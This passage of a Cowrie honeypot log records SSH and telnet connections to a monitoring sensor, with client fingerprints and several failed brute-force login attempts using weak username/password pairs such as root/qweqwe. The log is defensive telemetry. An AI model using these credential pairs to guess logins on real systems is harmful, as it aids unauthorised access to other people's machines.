f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:56.735065Z","src_ip":"46.165.56.242","session":"25bdb7cbbeac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:57.377819Z","src_ip":"46.165.56.242","session":"25bdb7cbbeac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:58.532957Z","src_ip":"46.165.56.242","session":"25bdb7cbbeac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":34520,"dst_ip":"10.17.0.5","dst_port":22,"session":"075f204f62a1","protocol":"ssh","message":"New connection: 144.91.86.102:34520 (10.17.0.5:22) [session: 075f204f62a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:43.408035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:43.413414Z","src_ip":"144.91.86.102","session":"075f204f62a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:43.510432Z","src_ip":"144.91.86.102","session":"075f204f62a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matrix","message":"login attempt [root/matrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:43.936980Z","src_ip":"144.91.86.102","session":"075f204f62a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:45.033793Z","src_ip":"144.91.86.102","session":"075f204f62a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":31946,"dst_ip":"10.17.0.5","dst_port":22,"session":"66905658cb86","protocol":"ssh","message":"New connection: 31.57.216.11:31946 (10.17.0.5:22) [session: 66905658cb86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:46.658381Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:46.676327Z","src_ip":"31.57.216.11","session":"66905658cb86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":31954,"dst_ip":"10.17.0.5","dst_port":22,"session":"656a6de9e235","protocol":"ssh","message":"New connection: 31.57.216.11:31954 (10.17.0.5:22) [session: 656a6de9e235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:46.845720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:46.850816Z","src_ip":"31.57.216.11","session":"656a6de9e235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:46.954783Z","src_ip":"31.57.216.11","session":"656a6de9e235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:47.307339Z","src_ip":"31.57.216.11","session":"656a6de9e235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:48.412705Z","src_ip":"31.57.216.11","session":"656a6de9e235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":34492,"dst_ip":"159.203.135.109","dst_port":22,"session":"e00ee482e8c0","protocol":"ssh","message":"New connection: 138.99.80.102:34492 (159.203.135.109:22) [session: e00ee482e8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:59.256383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:59.263864Z","src_ip":"138.99.80.102","session":"e00ee482e8c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:59.370076Z","src_ip":"138.99.80.102","session":"e00ee482e8c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mus1c","message":"login attempt [root/mus1c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:35:59.827978Z","src_ip":"138.99.80.102","session":"e00ee482e8c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:00.938178Z","src_ip":"138.99.80.102","session":"e00ee482e8c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":35592,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ffe655188ef","protocol":"telnet","message":"New connection: 167.71.238.254:35592 (10.17.0.5:23) [session: 9ffe655188ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:07.280355Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":55804,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9b87b52588a","protocol":"ssh","message":"New connection: 36.95.194.51:55804 (159.203.135.109:22) [session: d9b87b52588a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:07.529812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:07.535746Z","src_ip":"36.95.194.51","session":"d9b87b52588a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:07.807518Z","src_ip":"36.95.194.51","session":"d9b87b52588a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warchief","message":"login attempt [root/warchief] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:08.917519Z","src_ip":"36.95.194.51","session":"d9b87b52588a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:10.190452Z","src_ip":"36.95.194.51","session":"d9b87b52588a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":33592,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ec70722cfad","protocol":"ssh","message":"New connection: 46.165.56.242:33592 (159.203.135.109:22) [session: 1ec70722cfad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:11.438555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:11.446822Z","src_ip":"46.165.56.242","session":"1ec70722cfad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:11.605704Z","src_ip":"46.165.56.242","session":"1ec70722cfad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqwe","message":"login attempt [root/qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:12.268192Z","src_ip":"46.165.56.242","session":"1ec70722cfad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:13.432288Z","src_ip":"46.165.56.242","session":"1ec70722cfad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.868638515472412,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:26.148649Z","src_ip":"167.71.238.254","session":"9ffe655188ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":58630,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b6c8f887827","protocol":"ssh","message":"New connection: 200.108.174.4:58630 (159.203.135.109:22) [session: 0b6c8f887827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:35.945350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:35.950734Z","src_ip":"200.108.174.4","session":"0b6c8f887827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:36.101369Z","src_ip":"200.108.174.4","session":"0b6c8f887827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"training123","message":"login attempt [root/training123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:36.731419Z","src_ip":"200.108.174.4","session":"0b6c8f887827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:36:37.883887Z","src_ip":"200.108.174.4","session":"0b6c8f887827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.165.72","src_port":47662,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d50a0bb3677","protocol":"ssh","message":"New connection: 74.48.165.72:47662 (10.17.0.5:22) [session: 6d50a0bb3677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:11.894279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:11.902510Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:11.975476Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:a2:24:4b:58:9e:fb:32:bd:a1:e1:37:4b:95:db:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnqLfLp1EutsYWtpgj5mjeicrxYW5K9HIBGJ4sSXI5gdy7+X3EKeYRpq6ezHX+m/jenh2k1QK5B1+SLklbQdbr3S+vqxJTKQNS5rm8WerrQyR/315Dzbz/il9rHAiRLZvchPTxvcA4wh0JfDa+VhXLJ/UpPZpQBK+jexvd4QboyBp/8FKAX/f9XUu48w9lZVe/eL98DuO69xMXZkswC+WQx4qabjc0TIF/cdTOUt8VmoxTbCT9WGGQmupaw+WEdoHw1CGJ0s0RwbFAesQ1plR1oLDVngfQYzhlgb7gibFh5Zanvr2oaYSqHP2X/UpJlfAwKVNpVHWF2f9RjXzJajaB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:a2:24:4b:58:9e:fb:32:bd:a1:e1:37:4b:95:db:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:12.296396Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:a2:24:4b:58:9e:fb:32:bd:a1:e1:37:4b:95:db:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnqLfLp1EutsYWtpgj5mjeicrxYW5K9HIBGJ4sSXI5gdy7+X3EKeYRpq6ezHX+m/jenh2k1QK5B1+SLklbQdbr3S+vqxJTKQNS5rm8WerrQyR/315Dzbz/il9rHAiRLZvchPTxvcA4wh0JfDa+VhXLJ/UpPZpQBK+jexvd4QboyBp/8FKAX/f9XUu48w9lZVe/eL98DuO69xMXZkswC+WQx4qabjc0TIF/cdTOUt8VmoxTbCT9WGGQmupaw+WEdoHw1CGJ0s0RwbFAesQ1plR1oLDVngfQYzhlgb7gibFh5Zanvr2oaYSqHP2X/UpJlfAwKVNpVHWF2f9RjXzJajaB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:12.300347Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
